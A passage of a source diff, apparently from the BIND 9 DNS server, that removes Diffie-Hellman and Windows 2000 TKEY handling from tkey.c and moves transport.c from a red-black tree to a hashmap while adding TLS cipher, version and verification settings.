-	dns_rdata_fromregion(rdata, dns_rdataclass_any, dns_rdatatype_key, &r);
-	dns_message_takebuffer(msg, &dynbuf);
-
-	dns_name_init(&keyname, NULL);
-	dns_name_clone(dst_key_name(key), &keyname);
-
-	ISC_LIST_INIT(namelist);
-	RETERR(add_rdata_to_list(msg, &keyname, rdata, 0, &namelist));
-	item = ISC_LIST_HEAD(namelist);
-	while (item != NULL) {
-		dns_name_t *next = ISC_LIST_NEXT(item, link);
-		ISC_LIST_UNLINK(namelist, item, link);
-		dns_message_addname(msg, item, DNS_SECTION_ADDITIONAL);
-		item = next;
-	}
-
-	return (ISC_R_SUCCESS);
-
-failure:
-
-	if (dynbuf != NULL) {
-		isc_buffer_free(&dynbuf);
-	}
-	return (result);
 }
 
 isc_result_t
 dns_tkey_buildgssquery(dns_message_t *msg, const dns_name_t *name,
-		       const dns_name_t *gname, isc_buffer_t *intoken,
-		       uint32_t lifetime, dns_gss_ctx_id_t *context, bool win2k,
-		       isc_mem_t *mctx, char **err_message) {
+		       const dns_name_t *gname, uint32_t lifetime,
+		       dns_gss_ctx_id_t *context, isc_mem_t *mctx,
+		       char **err_message) {
 	dns_rdata_tkey_t tkey;
 	isc_result_t result;
-	isc_stdtime_t now;
+	isc_stdtime_t now = isc_stdtime_now();
 	isc_buffer_t token;
 	unsigned char array[TEMP_BUFFER_SZ];
 
-	UNUSED(intoken);
-
 	REQUIRE(msg != NULL);
 	REQUIRE(name != NULL);
 	REQUIRE(gname != NULL);
@@ -1124,72 +598,43 @@ dns_tkey_buildgssquery(dns_message_t *msg, const dns_name_t *name,
 		return (result);
 	}
 
-	tkey.common.rdclass = dns_rdataclass_any;
-	tkey.common.rdtype = dns_rdatatype_tkey;
-	ISC_LINK_INIT(&tkey.common, link);
-	tkey.mctx = NULL;
-	dns_name_init(&tkey.algorithm, NULL);
-
-	if (win2k) {
-		dns_name_clone(DNS_TSIG_GSSAPIMS_NAME, &tkey.algorithm);
-	} else {
-		dns_name_clone(DNS_TSIG_GSSAPI_NAME, &tkey.algorithm);
-	}
-
-	isc_stdtime_get(&now);
-	tkey.inception = now;
-	tkey.expire = now + lifetime;
-	tkey.mode = DNS_TKEYMODE_GSSAPI;
-	tkey.error = 0;
-	tkey.key = isc_buffer_base(&token);
-	tkey.keylen = isc_buffer_usedlength(&token);
-	tkey.other = NULL;
-	tkey.otherlen = 0;
-
-	return (buildquery(msg, name, &tkey, win2k));
-}
-
-isc_result_t
-dns_tkey_builddeletequery(dns_message_t *msg, dns_tsigkey_t *key) {
-	dns_rdata_tkey_t tkey;
-
-	REQUIRE(msg != NULL);
-	REQUIRE(key != NULL);
-
-	tkey.common.rdclass = dns_rdataclass_any;
-	tkey.common.rdtype = dns_rdatatype_tkey;
-	ISC_LINK_INIT(&tkey.common, link);
-	tkey.mctx = msg->mctx;
-	dns_name_init(&tkey.algorithm, NULL);
-	dns_name_clone(key->algorithm, &tkey.algorithm);
-	tkey.inception = tkey.expire = 0;
-	tkey.mode = DNS_TKEYMODE_DELETE;
-	tkey.error = 0;
-	tkey.keylen = tkey.otherlen = 0;
-	tkey.key = tkey.other = NULL;
-
-	return (buildquery(msg, &key->name, &tkey, false));
+	tkey = (dns_rdata_tkey_t){
+		.common.rdclass = dns_rdataclass_any,
+		.common.rdtype = dns_rdatatype_tkey,
+		.common.link = ISC_LINK_INITIALIZER,
+		.inception = now,
+		.expire = now + lifetime,
+		.algorithm = DNS_NAME_INITEMPTY,
+		.mode = DNS_TKEYMODE_GSSAPI,
+		.key = isc_buffer_base(&token),
+		.keylen = isc_buffer_usedlength(&token),
+	};
+	dns_name_clone(DNS_TSIG_GSSAPI_NAME, &tkey.algorithm);
+
+	return (buildquery(msg, name, &tkey));
 }
 
 static isc_result_t
 find_tkey(dns_message_t *msg, dns_name_t **name, dns_rdata_t *rdata,
 	  int section) {
-	dns_rdataset_t *tkeyset;
 	isc_result_t result;
 
 	result = dns_message_firstname(msg, section);
 	while (result == ISC_R_SUCCESS) {
-		*name = NULL;
-		dns_message_currentname(msg, section, name);
-		tkeyset = NULL;
-		result = dns_message_findtype(*name, dns_rdatatype_tkey, 0,
+		dns_rdataset_t *tkeyset = NULL;
+		dns_name_t *cur = NULL;
+
+		dns_message_currentname(msg, section, &cur);
+		result = dns_message_findtype(cur, dns_rdatatype_tkey, 0,
 					      &tkeyset);
 		if (result == ISC_R_SUCCESS) {
 			result = dns_rdataset_first(tkeyset);
 			if (result != ISC_R_SUCCESS) {
-				return (result);
+				break;
 			}
+
 			dns_rdataset_current(tkeyset, rdata);
+			*name = cur;
 			return (ISC_R_SUCCESS);
 		}
 		result = dns_message_nextname(msg, section);
@@ -1200,319 +645,40 @@ find_tkey(dns_message_t *msg, dns_name_t **name, dns_rdata_t *rdata,
 	return (result);
 }
 
-isc_result_t
-dns_tkey_processdhresponse(dns_message_t *qmsg, dns_message_t *rmsg,
-			   dst_key_t *key, isc_buffer_t *nonce,
-			   dns_tsigkey_t **outkey, dns_tsig_keyring_t *ring) {
-	dns_rdata_t qtkeyrdata = DNS_RDATA_INIT, rtkeyrdata = DNS_RDATA_INIT;
-	dns_name_t keyname, *tkeyname, *theirkeyname, *ourkeyname, *tempname;
-	dns_rdataset_t *theirkeyset = NULL, *ourkeyset = NULL;
-	dns_rdata_t theirkeyrdata = DNS_RDATA_INIT;
-	dst_key_t *theirkey = NULL;
-	dns_rdata_tkey_t qtkey, rtkey;
-	unsigned char secretdata[256];
-	unsigned int sharedsize;
-	isc_buffer_t *shared = NULL, secret;
-	isc_region_t r, r2;
-	isc_result_t result;
-	bool freertkey = false;
-
-	REQUIRE(qmsg != NULL);
-	REQUIRE(rmsg != NULL);
-	REQUIRE(key != NULL);
-	REQUIRE(dst_key_alg(key) == DNS_KEYALG_DH);
-	REQUIRE(dst_key_isprivate(key));
-	if (outkey != NULL) {
-		REQUIRE(*outkey == NULL);
-	}
-
-	if (rmsg->rcode != dns_rcode_noerror) {
-		return (ISC_RESULTCLASS_DNSRCODE + rmsg->rcode);
-	}
-	RETERR(find_tkey(rmsg, &tkeyname, &rtkeyrdata, DNS_SECTION_ANSWER));
-	RETERR(dns_rdata_tostruct(&rtkeyrdata, &rtkey, NULL));
-	freertkey = true;
-
-	RETERR(find_tkey(qmsg, &tempname, &qtkeyrdata, DNS_SECTION_ADDITIONAL));
-	RETERR(dns_rdata_tostruct(&qtkeyrdata, &qtkey, NULL));
-
-	if (rtkey.error != dns_rcode_noerror ||
-	    rtkey.mode != DNS_TKEYMODE_DIFFIEHELLMAN ||
-	    rtkey.mode != qtkey.mode ||
-	    !dns_name_equal(&rtkey.algorithm, &qtkey.algorithm) ||
-	    rmsg->rcode != dns_rcode_noerror)
-	{
-		tkey_log("dns_tkey_processdhresponse: tkey mode invalid "
-			 "or error set(1)");
-		result = DNS_R_INVALIDTKEY;
-		dns_rdata_freestruct(&qtkey);
-		goto failure;
-	}
-
-	dns_rdata_freestruct(&qtkey);
-
-	dns_name_init(&keyname, NULL);
-	dns_name_clone(dst_key_name(key), &keyname);
-
-	ourkeyname = NULL;
-	ourkeyset = NULL;
-	RETERR(dns_message_findname(rmsg, DNS_SECTION_ANSWER, &keyname,
-				    dns_rdatatype_key, 0, &ourkeyname,
-				    &ourkeyset));
-
-	result = dns_message_firstname(rmsg, DNS_SECTION_ANSWER);
-	while (result == ISC_R_SUCCESS) {
-		theirkeyname = NULL;
-		dns_message_currentname(rmsg, DNS_SECTION_ANSWER,
-					&theirkeyname);
-		if (dns_name_equal(theirkeyname, ourkeyname)) {
-			goto next;
-		}
-		theirkeyset = NULL;
-		result = dns_message_findtype(theirkeyname, dns_rdatatype_key,
-					      0, &theirkeyset);
-		if (result == ISC_R_SUCCESS) {
-			RETERR(dns_rdataset_first(theirkeyset));
-			break;
-		}
-	next:
-		result = dns_message_nextname(rmsg, DNS_SECTION_ANSWER);
-	}
-
-	if (theirkeyset == NULL) {
-		tkey_log("dns_tkey_processdhresponse: failed to find server "
-			 "key");
-		result = ISC_R_NOTFOUND;
-		goto failure;
-	}
-
-	dns_rdataset_current(theirkeyset, &theirkeyrdata);
-	RETERR(dns_dnssec_keyfromrdata(theirkeyname, &theirkeyrdata, rmsg->mctx,
-				       &theirkey));
-
-	RETERR(dst_key_secretsize(key, &sharedsize));
-	isc_buffer_allocate(rmsg->mctx, &shared, sharedsize);
-
-	RETERR(dst_key_computesecret(theirkey, key, shared));
-
-	isc_buffer_init(&secret, secretdata, sizeof(secretdata));
-
-	r.base = rtkey.key;
-	r.length = rtkey.keylen;
-	if (nonce != NULL) {
-		isc_buffer_usedregion(nonce, &r2);
-	} else {
-		r2.base = NULL;
-		r2.length = 0;
-	}
-	RETERR(compute_secret(shared, &r2, &r, &secret));
-
-	isc_buffer_usedregion(&secret, &r);
-	result = dns_tsigkey_create(tkeyname, &rtkey.algorithm, r.base,
-				    r.length, true, NULL, rtkey.inception,
-				    rtkey.expire, rmsg->mctx, ring, outkey);
-	isc_buffer_free(&shared);
-	dns_rdata_freestruct(&rtkey);
-	dst_key_free(&theirkey);
-	return (result);
-
-failure:
-	if (shared != NULL) {
-		isc_buffer_free(&shared);
-	}
-
-	if (theirkey != NULL) {
-		dst_key_free(&theirkey);
-	}
-
-	if (freertkey) {
-		dns_rdata_freestruct(&rtkey);
-	}
-
-	return (result);
-}
-
-isc_result_t
-dns_tkey_processgssresponse(dns_message_t *qmsg, dns_message_t *rmsg,
-			    const dns_name_t *gname, dns_gss_ctx_id_t *context,
-			    isc_buffer_t *outtoken, dns_tsigkey_t **outkey,
-			    dns_tsig_keyring_t *ring, char **err_message) {
-	dns_rdata_t rtkeyrdata = DNS_RDATA_INIT, qtkeyrdata = DNS_RDATA_INIT;
-	dns_name_t *tkeyname;
-	dns_rdata_tkey_t rtkey, qtkey;
-	dst_key_t *dstkey = NULL;
-	isc_buffer_t intoken;
-	isc_result_t result;
-	unsigned char array[TEMP_BUFFER_SZ];
-
-	REQUIRE(outtoken != NULL);
-	REQUIRE(qmsg != NULL);
-	REQUIRE(rmsg != NULL);
-	REQUIRE(gname != NULL);
-	REQUIRE(ring != NULL);
-	if (outkey != NULL) {
-		REQUIRE(*outkey == NULL);
-	}
-
-	if (rmsg->rcode != dns_rcode_noerror) {
-		return (ISC_RESULTCLASS_DNSRCODE + rmsg->rcode);
-	}
-	RETERR(find_tkey(rmsg, &tkeyname, &rtkeyrdata, DNS_SECTION_ANSWER));
-	RETERR(dns_rdata_tostruct(&rtkeyrdata, &rtkey, NULL));
-
-	/*
-	 * Win2k puts the item in the ANSWER section, while the RFC
-	 * specifies it should be in the ADDITIONAL section.  Check first
-	 * where it should be, and then where it may be.
-	 */
-	result = find_tkey(qmsg, &tkeyname, &qtkeyrdata,
-			   DNS_SECTION_ADDITIONAL);
-	if (result == ISC_R_NOTFOUND) {
-		result = find_tkey(qmsg, &tkeyname, &qtkeyrdata,
-				   DNS_SECTION_ANSWER);
-	}
-	if (result != ISC_R_SUCCESS) {
-		goto failure;
-	}
-
-	RETERR(dns_rdata_tostruct(&qtkeyrdata, &qtkey, NULL));
-
-	if (rtkey.error != dns_rcode_noerror ||
-	    rtkey.mode != DNS_TKEYMODE_GSSAPI ||
-	    !dns_name_equal(&rtkey.algorithm, &qtkey.algorithm))
-	{
-		tkey_log("dns_tkey_processgssresponse: tkey mode invalid "
-			 "or error set(2) %d",
-			 rtkey.error);
-		dumpmessage(qmsg);
-		dumpmessage(rmsg);
-		result = DNS_R_INVALIDTKEY;
-		goto failure;
-	}
-
-	isc_buffer_init(outtoken, array, sizeof(array));
-	isc_buffer_init(&intoken, rtkey.key, rtkey.keylen);
-	RETERR(dst_gssapi_initctx(gname, &intoken, outtoken, context,
-				  ring->mctx, err_message));
-
-	RETERR(dst_key_fromgssapi(dns_rootname, *context, rmsg->mctx, &dstkey,
-				  NULL));
-
-	RETERR(dns_tsigkey_createfromkey(
-		tkeyname, DNS_TSIG_GSSAPI_NAME, dstkey, false, NULL,
-		rtkey.inception, rtkey.expire, ring->mctx, ring, outkey));
-	dst_key_free(&dstkey);
-	dns_rdata_freestruct(&rtkey);
-	return (result);
-
-failure:
-	/*
-	 * XXXSRA This probably leaks memory from rtkey and qtkey.
-	 */
-	if (dstkey != NULL) {
-		dst_key_free(&dstkey);
-	}
-	return (result);
-}
-
-isc_result_t
-dns_tkey_processdeleteresponse(dns_message_t *qmsg, dns_message_t *rmsg,
-			       dns_tsig_keyring_t *ring) {
-	dns_rdata_t qtkeyrdata = DNS_RDATA_INIT, rtkeyrdata = DNS_RDATA_INIT;
-	dns_name_t *tkeyname, *tempname;
-	dns_rdata_tkey_t qtkey, rtkey;
-	dns_tsigkey_t *tsigkey = NULL;
-	isc_result_t result;
-
-	REQUIRE(qmsg != NULL);
-	REQUIRE(rmsg != NULL);
-
-	if (rmsg->rcode != dns_rcode_noerror) {
-		return (ISC_RESULTCLASS_DNSRCODE + rmsg->rcode);
-	}
-
-	RETERR(find_tkey(rmsg, &tkeyname, &rtkeyrdata, DNS_SECTION_ANSWER));
-	RETERR(dns_rdata_tostruct(&rtkeyrdata, &rtkey, NULL));
-
-	RETERR(find_tkey(qmsg, &tempname, &qtkeyrdata, DNS_SECTION_ADDITIONAL));
-	RETERR(dns_rdata_tostruct(&qtkeyrdata, &qtkey, NULL));
-
-	if (rtkey.error != dns_rcode_noerror ||
-	    rtkey.mode != DNS_TKEYMODE_DELETE || rtkey.mode != qtkey.mode ||
-	    !dns_name_equal(&rtkey.algorithm, &qtkey.algorithm) ||
-	    rmsg->rcode != dns_rcode_noerror)
-	{
-		tkey_log("dns_tkey_processdeleteresponse: tkey mode invalid "
-			 "or error set(3)");
-		result = DNS_R_INVALIDTKEY;
-		dns_rdata_freestruct(&qtkey);
-		dns_rdata_freestruct(&rtkey);
-		goto failure;
-	}
-
-	dns_rdata_freestruct(&qtkey);
-
-	RETERR(dns_tsigkey_find(&tsigkey, tkeyname, &rtkey.algorithm, ring));
-
-	dns_rdata_freestruct(&rtkey);
-
-	/*
-	 * Mark the key as deleted.
-	 */
-	dns_tsigkey_setdeleted(tsigkey);
-	/*
-	 * Release the reference.
-	 */
-	dns_tsigkey_detach(&tsigkey);
-
-failure:
-	return (result);
-}
-
 isc_result_t
 dns_tkey_gssnegotiate(dns_message_t *qmsg, dns_message_t *rmsg,
 		      const dns_name_t *server, dns_gss_ctx_id_t *context,
-		      dns_tsigkey_t **outkey, dns_tsig_keyring_t *ring,
-		      bool win2k, char **err_message) {
+		      dns_tsigkey_t **outkey, dns_tsigkeyring_t *ring,
+		      char **err_message) {
+	isc_result_t result;
 	dns_rdata_t rtkeyrdata = DNS_RDATA_INIT, qtkeyrdata = DNS_RDATA_INIT;
-	dns_name_t *tkeyname;
+	dns_name_t *tkeyname = NULL;
 	dns_rdata_tkey_t rtkey, qtkey, tkey;
 	isc_buffer_t intoken, outtoken;
 	dst_key_t *dstkey = NULL;
-	isc_result_t result;
 	unsigned char array[TEMP_BUFFER_SZ];
-	bool freertkey = false;
+	dns_tsigkey_t *tsigkey = NULL;
 
 	REQUIRE(qmsg != NULL);
 	REQUIRE(rmsg != NULL);
 	REQUIRE(server != NULL);
-	if (outkey != NULL) {
-		REQUIRE(*outkey == NULL);
-	}
+	REQUIRE(outkey == NULL || *outkey == NULL);
 
 	if (rmsg->rcode != dns_rcode_noerror) {
-		return (ISC_RESULTCLASS_DNSRCODE + rmsg->rcode);
+		return (dns_result_fromrcode(rmsg->rcode));
 	}
 
 	RETERR(find_tkey(rmsg, &tkeyname, &rtkeyrdata, DNS_SECTION_ANSWER));
 	RETERR(dns_rdata_tostruct(&rtkeyrdata, &rtkey, NULL));
-	freertkey = true;
-
-	if (win2k) {
-		RETERR(find_tkey(qmsg, &tkeyname, &qtkeyrdata,
-				 DNS_SECTION_ANSWER));
-	} else {
-		RETERR(find_tkey(qmsg, &tkeyname, &qtkeyrdata,
-				 DNS_SECTION_ADDITIONAL));
-	}
 
+	RETERR(find_tkey(qmsg, &tkeyname, &qtkeyrdata, DNS_SECTION_ADDITIONAL));
 	RETERR(dns_rdata_tostruct(&qtkeyrdata, &qtkey, NULL));
 
 	if (rtkey.error != dns_rcode_noerror ||
 	    rtkey.mode != DNS_TKEYMODE_GSSAPI ||
 	    !dns_name_equal(&rtkey.algorithm, &qtkey.algorithm))
 	{
-		tkey_log("dns_tkey_processdhresponse: tkey mode invalid "
+		tkey_log("dns_tkey_gssnegotiate: tkey mode invalid "
 			 "or error set(4)");
 		result = DNS_R_INVALIDTKEY;
 		goto failure;
@@ -1528,35 +694,22 @@ dns_tkey_gssnegotiate(dns_message_t *qmsg, dns_message_t *rmsg,
 	}
 
 	if (result == DNS_R_CONTINUE) {
-		dns_fixedname_t fixed;
-
-		dns_fixedname_init(&fixed);
-		dns_name_copy(tkeyname, dns_fixedname_name(&fixed));
-		tkeyname = dns_fixedname_name(&fixed);
+		tkey = (dns_rdata_tkey_t){
+			.common.rdclass = dns_rdataclass_any,
+			.common.rdtype = dns_rdatatype_tkey,
+			.common.link = ISC_LINK_INITIALIZER,
+			.inception = qtkey.inception,
+			.expire = qtkey.expire,
+			.algorithm = DNS_NAME_INITEMPTY,
+			.mode = DNS_TKEYMODE_GSSAPI,
+			.key = isc_buffer_base(&outtoken),
+			.keylen = isc_buffer_usedlength(&outtoken),
+		};
 
-		tkey.common.rdclass = dns_rdataclass_any;
-		tkey.common.rdtype = dns_rdatatype_tkey;
-		ISC_LINK_INIT(&tkey.common, link);
-		tkey.mctx = NULL;
-		dns_name_init(&tkey.algorithm, NULL);
-
-		if (win2k) {
-			dns_name_clone(DNS_TSIG_GSSAPIMS_NAME, &tkey.algorithm);
-		} else {
-			dns_name_clone(DNS_TSIG_GSSAPI_NAME, &tkey.algorithm);
-		}
-
-		tkey.inception = qtkey.inception;
-		tkey.expire = qtkey.expire;
-		tkey.mode = DNS_TKEYMODE_GSSAPI;
-		tkey.error = 0;
-		tkey.key = isc_buffer_base(&outtoken);
-		tkey.keylen = isc_buffer_usedlength(&outtoken);
-		tkey.other = NULL;
-		tkey.otherlen = 0;
+		dns_name_clone(DNS_TSIG_GSSAPI_NAME, &tkey.algorithm);
 
 		dns_message_reset(qmsg, DNS_MESSAGE_INTENTRENDER);
-		RETERR(buildquery(qmsg, tkeyname, &tkey, win2k));
+		RETERR(buildquery(qmsg, tkeyname, &tkey));
 		return (DNS_R_CONTINUE);
 	}
 
@@ -1568,22 +721,22 @@ dns_tkey_gssnegotiate(dns_message_t *qmsg, dns_message_t *rmsg,
 	 * the GSS negotiation hasn't completed yet, so we can't sign
 	 * anything yet.
 	 */
+	RETERR(dns_tsigkey_createfromkey(tkeyname, DST_ALG_GSSAPI, dstkey, true,
+					 false, NULL, rtkey.inception,
+					 rtkey.expire, ring->mctx, &tsigkey));
+	RETERR(dns_tsigkeyring_add(ring, tsigkey));
+	if (outkey == NULL) {
+		dns_tsigkey_detach(&tsigkey);
+	} else {
+		*outkey = tsigkey;
+	}
 
-	RETERR(dns_tsigkey_createfromkey(
-		tkeyname,
-		(win2k ? DNS_TSIG_GSSAPIMS_NAME : DNS_TSIG_GSSAPI_NAME), dstkey,
-		true, NULL, rtkey.inception, rtkey.expire, ring->mctx, ring,
-		outkey));
 	dst_key_free(&dstkey);
-	dns_rdata_freestruct(&rtkey);
 	return (result);
 
 failure:
-	/*
-	 * XXXSRA This probably leaks memory from qtkey.
-	 */
-	if (freertkey) {
-		dns_rdata_freestruct(&rtkey);
+	if (tsigkey != NULL) {
+		dns_tsigkey_detach(&tsigkey);
 	}
 	if (dstkey != NULL) {
 		dst_key_free(&dstkey);
diff --git a/lib/dns/transport.c b/lib/dns/transport.c
index 0ad1159fb3..f961f6a3b8 100644
--- a/lib/dns/transport.c
+++ b/lib/dns/transport.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -11,16 +13,18 @@
 
 #include <inttypes.h>
 
+#include <isc/hashmap.h>
 #include <isc/list.h>
 #include <isc/mem.h>
+#include <isc/netaddr.h>
 #include <isc/refcount.h>
 #include <isc/result.h>
 #include <isc/rwlock.h>
+#include <isc/sockaddr.h>
 #include <isc/util.h>
 
+#include <dns/fixedname.h>
 #include <dns/name.h>
-#include <dns/rbt.h>
-#include <dns/result.h>
 #include <dns/transport.h>
 
 #define TRANSPORT_MAGIC	     ISC_MAGIC('T', 'r', 'n', 's')
@@ -34,19 +38,28 @@ struct dns_transport_list {
 	isc_refcount_t references;
 	isc_mem_t *mctx;
 	isc_rwlock_t lock;
-	dns_rbt_t *transports[DNS_TRANSPORT_COUNT];
+	isc_hashmap_t *transports[DNS_TRANSPORT_COUNT];
 };
 
+typedef enum ternary { ter_none = 0, ter_true = 1, ter_false = 2 } ternary_t;
+
 struct dns_transport {
 	unsigned int magic;
 	isc_refcount_t references;
 	isc_mem_t *mctx;
 	dns_transport_type_t type;
+	dns_fixedname_t fn;
+	dns_name_t *name;
 	struct {
+		char *tlsname;
 		char *certfile;
 		char *keyfile;
 		char *cafile;
-		char *hostname;
+		char *remote_hostname;
+		char *ciphers;
+		uint32_t protocol_versions;
+		ternary_t prefer_server_ciphers;
+		bool always_verify_remote;
 	} tls;
 	struct {
 		char *endpoint;
@@ -54,29 +67,20 @@ struct dns_transport {
 	} doh;
 };
 
-static void
-free_dns_transport(void *node, void *arg) {
-	dns_transport_t *transport = node;
-
-	REQUIRE(node != NULL);
-
-	UNUSED(arg);
-
-	dns_transport_detach(&transport);
-}
-
 static isc_result_t
 list_add(dns_transport_list_t *list, const dns_name_t *name,
 	 const dns_transport_type_t type, dns_transport_t *transport) {
 	isc_result_t result;
-	dns_rbt_t *rbt = NULL;
+	isc_hashmap_t *hm = NULL;
 
 	RWLOCK(&list->lock, isc_rwlocktype_write);
-	rbt = list->transports[type];
-	INSIST(rbt != NULL);
-
-	result = dns_rbt_addname(rbt, name, transport);
+	hm = list->transports[type];
+	INSIST(hm != NULL);
 
+	transport->name = dns_fixedname_initname(&transport->fn);
+	dns_name_copy(name, transport->name);
+	result = isc_hashmap_add(hm, NULL, transport->name->ndata,
+				 transport->name->length, transport);
 	RWUNLOCK(&list->lock, isc_rwlocktype_write);
 
 	return (result);
@@ -111,10 +115,10 @@ dns_transport_get_cafile(dns_transport_t *transport) {
 }
 
 char *
-dns_transport_get_hostname(dns_transport_t *transport) {
+dns_transport_get_remote_hostname(dns_transport_t *transport) {
 	REQUIRE(VALID_TRANSPORT(transport));
 
-	return (transport->tls.hostname);
+	return (transport->tls.remote_hostname);
 }
 
 char *
@@ -152,6 +156,10 @@ dns_transport_set_certfile(dns_transport_t *transport, const char *certfile) {
 	REQUIRE(transport->type == DNS_TRANSPORT_TLS ||
 		transport->type == DNS_TRANSPORT_HTTP);
 
+	if (transport->tls.certfile != NULL) {
+		isc_mem_free(transport->mctx, transport->tls.certfile);
+	}
+
 	if (certfile != NULL) {
 		transport->tls.certfile = isc_mem_strdup(transport->mctx,
 							 certfile);
@@ -164,6 +172,10 @@ dns_transport_set_keyfile(dns_transport_t *transport, const char *keyfile) {
 	REQUIRE(transport->type == DNS_TRANSPORT_TLS ||
 		transport->type == DNS_TRANSPORT_HTTP);
 
+	if (transport->tls.keyfile != NULL) {
+		isc_mem_free(transport->mctx, transport->tls.keyfile);
+	}
+
 	if (keyfile != NULL) {
 		transport->tls.keyfile = isc_mem_strdup(transport->mctx,
 							keyfile);
@@ -176,20 +188,29 @@ dns_transport_set_cafile(dns_transport_t *transport, const char *cafile) {
 	REQUIRE(transport->type == DNS_TRANSPORT_TLS ||
 		transport->type == DNS_TRANSPORT_HTTP);
 
+	if (transport->tls.cafile != NULL) {
+		isc_mem_free(transport->mctx, transport->tls.cafile);
+	}
+
 	if (cafile != NULL) {
 		transport->tls.cafile = isc_mem_strdup(transport->mctx, cafile);
 	}
 }
 
 void
-dns_transport_set_hostname(dns_transport_t *transport, const char *hostname) {
+dns_transport_set_remote_hostname(dns_transport_t *transport,
+				  const char *hostname) {
 	REQUIRE(VALID_TRANSPORT(transport));
 	REQUIRE(transport->type == DNS_TRANSPORT_TLS ||
 		transport->type == DNS_TRANSPORT_HTTP);
 
+	if (transport->tls.remote_hostname != NULL) {
+		isc_mem_free(transport->mctx, transport->tls.remote_hostname);
+	}
+
 	if (hostname != NULL) {
-		transport->tls.hostname = isc_mem_strdup(transport->mctx,
-							 hostname);
+		transport->tls.remote_hostname = isc_mem_strdup(transport->mctx,
+								hostname);
 	}
 }
 
@@ -198,6 +219,10 @@ dns_transport_set_endpoint(dns_transport_t *transport, const char *endpoint) {
 	REQUIRE(VALID_TRANSPORT(transport));
 	REQUIRE(transport->type == DNS_TRANSPORT_HTTP);
 
+	if (transport->doh.endpoint != NULL) {
+		isc_mem_free(transport->mctx, transport->doh.endpoint);
+	}
+
 	if (endpoint != NULL) {
 		transport->doh.endpoint = isc_mem_strdup(transport->mctx,
 							 endpoint);
@@ -212,6 +237,331 @@ dns_transport_set_mode(dns_transport_t *transport, dns_http_mode_t mode) {
 	transport->doh.mode = mode;
 }
 
+void
+dns_transport_set_tls_versions(dns_transport_t *transport,
+			       const uint32_t tls_versions) {
+	REQUIRE(VALID_TRANSPORT(transport));
+	REQUIRE(transport->type == DNS_TRANSPORT_HTTP ||
+		transport->type == DNS_TRANSPORT_TLS);
+
+	transport->tls.protocol_versions = tls_versions;
+}
+
+uint32_t
+dns_transport_get_tls_versions(const dns_transport_t *transport) {
+	REQUIRE(VALID_TRANSPORT(transport));
+
+	return (transport->tls.protocol_versions);
+}
+
+void
+dns_transport_set_ciphers(dns_transport_t *transport, const char *ciphers) {
+	REQUIRE(VALID_TRANSPORT(transport));
+	REQUIRE(transport->type == DNS_TRANSPORT_TLS ||
+		transport->type == DNS_TRANSPORT_HTTP);
+
+	if (transport->tls.ciphers != NULL) {
+		isc_mem_free(transport->mctx, transport->tls.ciphers);
+	}
+
+	if (ciphers != NULL) {
+		transport->tls.ciphers = isc_mem_strdup(transport->mctx,
+							ciphers);
+	}
+}
+
+void
+dns_transport_set_tlsname(dns_transport_t *transport, const char *tlsname) {
+	REQUIRE(VALID_TRANSPORT(transport));
+	REQUIRE(transport->type == DNS_TRANSPORT_TLS ||
+		transport->type == DNS_TRANSPORT_HTTP);
+
+	if (transport->tls.tlsname != NULL) {
+		isc_mem_free(transport->mctx, transport->tls.tlsname);
+	}
+
+	if (tlsname != NULL) {
+		transport->tls.tlsname = isc_mem_strdup(transport->mctx,
+							tlsname);
+	}
+}
+
+char *
+dns_transport_get_ciphers(dns_transport_t *transport) {
+	REQUIRE(VALID_TRANSPORT(transport));
+
+	return (transport->tls.ciphers);
+}
+
+char *
+dns_transport_get_tlsname(dns_transport_t *transport) {
+	REQUIRE(VALID_TRANSPORT(transport));
+
+	return (transport->tls.tlsname);
+}
+
+void
+dns_transport_set_prefer_server_ciphers(dns_transport_t *transport,
+					const bool prefer) {
+	REQUIRE(VALID_TRANSPORT(transport));
+	REQUIRE(transport->type == DNS_TRANSPORT_TLS ||
+		transport->type == DNS_TRANSPORT_HTTP);
+
+	transport->tls.prefer_server_ciphers = prefer ? ter_true : ter_false;
+}
+
+bool
+dns_transport_get_prefer_server_ciphers(const dns_transport_t *transport,
+					bool *preferp) {
+	REQUIRE(VALID_TRANSPORT(transport));
+	REQUIRE(preferp != NULL);
+	if (transport->tls.prefer_server_ciphers == ter_none) {
+		return (false);
+	} else if (transport->tls.prefer_server_ciphers == ter_true) {
+		*preferp = true;
+		return (true);
+	} else if (transport->tls.prefer_server_ciphers == ter_false) {
+		*preferp = false;
+		return (true);
+	}
+
+	UNREACHABLE();
+	return false;
+}
+
+void
+dns_transport_set_always_verify_remote(dns_transport_t *transport,
+				       const bool always_verify_remote) {
+	REQUIRE(VALID_TRANSPORT(transport));
+	REQUIRE(transport->type == DNS_TRANSPORT_TLS ||
+		transport->type == DNS_TRANSPORT_HTTP);
+
+	transport->tls.always_verify_remote = always_verify_remote;
+}
+
+bool
+dns_transport_get_always_verify_remote(dns_transport_t *transport) {
+	REQUIRE(VALID_TRANSPORT(transport));
+	REQUIRE(transport->type == DNS_TRANSPORT_TLS ||
+		transport->type == DNS_TRANSPORT_HTTP);
+
+	return transport->tls.always_verify_remote;
+}
+
+isc_result_t
+dns_transport_get_tlsctx(dns_transport_t *transport, const isc_sockaddr_t *peer,
+			 isc_tlsctx_cache_t *tlsctx_cache, isc_mem_t *mctx,
+			 isc_tlsctx_t **pctx,
+			 isc_tlsctx_client_session_cache_t **psess_cache) {
+	isc_result_t result = ISC_R_FAILURE;
+	isc_tlsctx_t *tlsctx = NULL, *found = NULL;
+	isc_tls_cert_store_t *store = NULL, *found_store = NULL;
+	isc_tlsctx_client_session_cache_t *sess_cache = NULL;
+	isc_tlsctx_client_session_cache_t *found_sess_cache = NULL;
+	uint32_t tls_versions;
+	const char *ciphers = NULL;
+	bool prefer_server_ciphers;
+	uint16_t family;
+	const char *tlsname = NULL;
+
+	REQUIRE(VALID_TRANSPORT(transport));
+	REQUIRE(transport->type == DNS_TRANSPORT_TLS);
+	REQUIRE(peer != NULL);
+	REQUIRE(tlsctx_cache != NULL);
+	REQUIRE(mctx != NULL);
+	REQUIRE(pctx != NULL && *pctx == NULL);
+	REQUIRE(psess_cache != NULL && *psess_cache == NULL);
+
+	family = (isc_sockaddr_pf(peer) == PF_INET6) ? AF_INET6 : AF_INET;
+
+	tlsname = dns_transport_get_tlsname(transport);
